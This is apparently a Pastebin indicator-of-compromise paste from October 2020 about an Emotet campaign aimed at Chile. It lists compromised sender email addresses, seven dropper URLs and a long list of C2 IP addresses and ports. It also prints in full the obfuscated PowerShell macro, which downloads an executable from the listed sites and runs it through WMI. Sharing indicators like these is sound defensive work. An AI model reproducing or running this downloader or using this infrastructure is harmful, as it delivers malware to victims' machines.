1ZRR4H

EMOTET dirigido a Chile, 21-10-2020.

Oct 21st, 2020 (edited)
1,129
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Senders (comprometidos):
  2.  
  3. diana.medrano@motranosa.com.mx
  4. jmendoza@pasaford.com.mx
  5. rino.sorrentino@vulcanogas.it
  6.  
  7. Macro Powershell
  8.  
  9. $oDc0ni= [TypE]("{1}{4}{2}{3}{0}"-f'tory','S','O.Dir','Ec','YSTEM.I') ;$B50 = [type]("{2}{6}{7}{0}{5}{4}{3}{1}" -F'nEt.s','AGEr','SYS','epOintMaN','c','ervI','tEm','.'); $Mdwtf8y=('Tw'+'9f'+('g'+'cl'));$Web0vpn=$Dzeladc + [char](1 + 1 + 20 + 10 + 10) + $B55e8rf;$Bpss56y=('X'+('xie'+'d')+'al'); $odC0ni::"CReate`DiREc`T`ory"($env:userprofile + ((('Y'+'ZPA'+'ub')+'_'+('1b'+'gYZ')+('P'+'Gtm_8'+'e')+'b'+('Y'+'ZP'))."REp`l`AcE"(('YZ'+'P'),[STrING][CHaR]92)));$Fw7ha2w=(('A'+'jr')+('mc'+'us')); $b50::"s`E`Cu`RiTYpROT`oCol" = (('Tl'+'s1')+'2');$Lhd2v57=('Ab'+('pn7'+'0i'));$Jildyir = (('Ny'+'8')+('k'+'v9'));$I5drvnm=('I'+'e'+('0y'+'89u'));$J2wh0li=('B'+'b'+('q4p'+'xi'));$Dssf7bd=$env:userprofile+((('KfRA'+'u'+'b_1b')+'gK'+('fRG'+'t')+('m_8'+'eb')+('Kf'+'R'))."R`E`PlACE"(('Kf'+'R'),'\'))+$Jildyir+('.'+('e'+'xe'));$Nq29rnl=('Ra'+('ci8'+'km'));$Skqrrpk=.('new'+'-o'+'bject') NeT.wEBClIEnT;$Qu703r_=(('ht'+'t')+'p'+(':/'+'/sa')+'l'+'e'+'sf'+'or'+'c'+('es'+'uppo')+('rt'+'s')+('.c'+'om/')+('wp-adm'+'in/')+'U'+'K'+'4'+('/*h'+'ttps')+('://w'+'ww'+'.s')+'a'+'k'+('ca'+'mphar'+'m')+('a.c'+'o'+'m/')+'wo'+'r'+('dp'+'re')+('ss/'+'L8E'+'/')+('*h'+'t')+('tp'+'://la'+'os'+'onl')+('i'+'ne')+('8'+'8'+'.com/ol'+'d')+('-w'+'eb-'+'b')+'k'+('/M8'+'B')+'/'+('*'+'htt')+'p:'+('//q'+'u')+('i'+'ck')+'to'+('w'+'to')+'wi'+'n'+('g.co'+'m')+'/'+('index'+'in'+'g'+'/N2/*')+('htt'+'p:/'+'/'+'tecn')+('ol'+'ora'+'.c')+('om/g'+'r')+('up-b'+'o/')+('NW'+'d/*h')+('t'+'tp:'+'//g')+'eo'+('f'+'fog')+'le'+'mu'+('s'+'ic')+('.com'+'/'+'wp')+'-'+'ad'+('m'+'in')+'/'+('Mym/'+'*h')+('ttp:/'+'/5')+'8y'+'u'+('esa'+'o.')+('t'+'op/')+('wp'+'-')+('a'+'dm')+'in'+'/'+'HG'+'/')."SPl`It"($Zbtu_23 + $Web0vpn + $Pvot9tw);$Xjgqgwe=('Lz'+'t0'+('i'+'aw'));foreach ($Qhy4kib in $Qu703r_){try{$Skqrrpk."DOWN`L`O`AdfiLe"($Qhy4kib, $Dssf7bd);$Sm5ndz1=(('R2'+'m')+('703'+'_'));If ((.('G'+'et'+'-Item') $Dssf7bd)."LeN`GTH" -ge 33013) {([wmiclass](('wi'+'n')+('3'+'2_Pro'+'ce')+'ss'))."Cr`eA`TE"($Dssf7bd);$Jmxe79n=('N'+'ek'+('i5'+'4v'));break;$P5vziwi=('K'+'2q'+('k'+'jcy'))}}catch{}}$Ju7z0y5=('M'+('qw'+'v'+'pt7'))
  10.  
  11. URL Droppers:
  12.  
  13. http://salesforcesupports.com/wp-admin/UK4/
  14. https://www.sakcampharma.com/wordpress/L8E/
  15. http://laosonline88.com/old-web-bk/M8B/
  16. http://quicktowtowing.com/indexing/N2/
  17. http://tecnolora.com/grup-bo/NWd/
  18. http://geoffoglemusic.com/wp-admin/Mym/
  19. http://58yuesao.top/wp-admin/HG/
  20.  
  21. C2's (Epoch1):
  22.  
  23. 200.59.6.174:80
  24. 59.148.253.194:8080
  25. 173.212.197.71:8080
  26. 98.103.204.12:443
  27. 192.232.229.54:7080
  28. 185.94.252.12:80
  29. 74.135.120.91:80
  30. 5.189.178.202:8080
  31. 202.134.4.210:7080
  32. 181.129.96.162:8080
  33. 70.32.84.74:8080
  34. 190.190.219.184:80
  35. 178.250.54.208:8080
  36. 94.176.234.118:443
  37. 76.121.199.225:80
  38. 191.97.154.2:80
  39. 46.101.58.37:8080
  40. 103.236.179.162:80
  41. 217.13.106.14:8080
  42. 82.76.111.249:443
  43. 37.179.145.105:80
  44. 70.32.115.157:8080
  45. 12.163.208.58:80
  46. 138.97.60.141:7080
  47. 188.135.15.49:80
  48. 201.213.177.139:80
  49. 109.190.35.249:80
  50. 183.176.82.231:80
  51. 70.169.17.134:80
  52. 128.92.203.42:80
  53. 177.23.7.151:80
  54. 51.15.7.189:80
  55. 46.105.114.137:8080
  56. 219.92.13.25:80
  57. 74.58.215.226:80
  58. 216.47.196.104:80
  59. 45.33.77.42:8080
  60. 37.187.161.206:8080
  61. 51.15.7.145:80
  62. 181.58.181.9:80
  63. 175.143.12.123:8080
  64. 201.71.228.86:80
  65. 68.183.170.114:8080
  66. 172.104.169.32:8080
  67. 79.118.74.90:80
  68. 181.123.6.86:80
  69. 109.190.249.106:80
  70. 51.255.165.160:8080
  71. 186.103.141.250:443
  72. 64.201.88.132:80
  73. 181.61.182.143:80
  74. 185.94.252.27:443
  75. 181.56.32.36:80
  76. 149.202.72.142:7080
  77. 83.169.21.32:7080
  78. 178.211.45.66:8080
  79. 24.232.228.233:80
  80. 192.241.143.52:8080
  81. 104.131.41.185:8080
  82. 77.78.196.173:443
  83. 212.71.237.140:8080
  84. 138.97.60.140:8080
  85. 98.13.75.196:80
  86. 68.183.190.199:8080
  87. 60.93.23.51:80
  88. 152.169.22.67:80
  89. 170.81.48.2:80
  90. 188.157.101.114:80
  91. 87.106.46.107:8080
  92. 177.129.17.170:443
  93. 172.86.186.21:8080
  94. 188.251.213.180:80
  95. 190.115.18.139:8080
  96. 189.2.177.210:443
  97. 111.67.12.221:8080
  98. 191.182.6.118:80
  99. 189.223.16.99:80
  100. 5.89.33.136:80
  101. 177.144.130.105:8080
  102. 174.118.202.24:443
  103. 213.52.74.198:80
  104. 81.215.230.173:443
  105. 186.189.249.2:80
  106. 137.74.106.111:7080
  107. 2.85.9.41:8080
  108. 1.226.84.243:8080
  109. 173.68.199.157:80
  110. 2.45.176.233:80
  111. 12.162.84.2:8080
  112. 46.43.2.95:8080
  113. 190.101.156.139:80
  114. 177.144.130.105:443
  115. 62.84.75.50:80
  116. 37.183.81.217:80
  117. 50.28.51.143:8080
  118. 77.238.212.227:80
  119. 5.196.35.138:7080
  120. 186.70.127.199:8090
  121. 45.46.37.97:80
  122. 213.197.182.158:8080
  123. 185.183.16.47:80
  124. 85.214.26.7:8080
  125. 51.75.33.127:80
  126. 190.24.243.186:80
  127. 177.73.0.98:443
  128. 190.188.245.242:80
  129. 209.236.123.42:8080
  130. 181.30.61.163:443
  131. 200.127.14.97:80
RAW Paste Data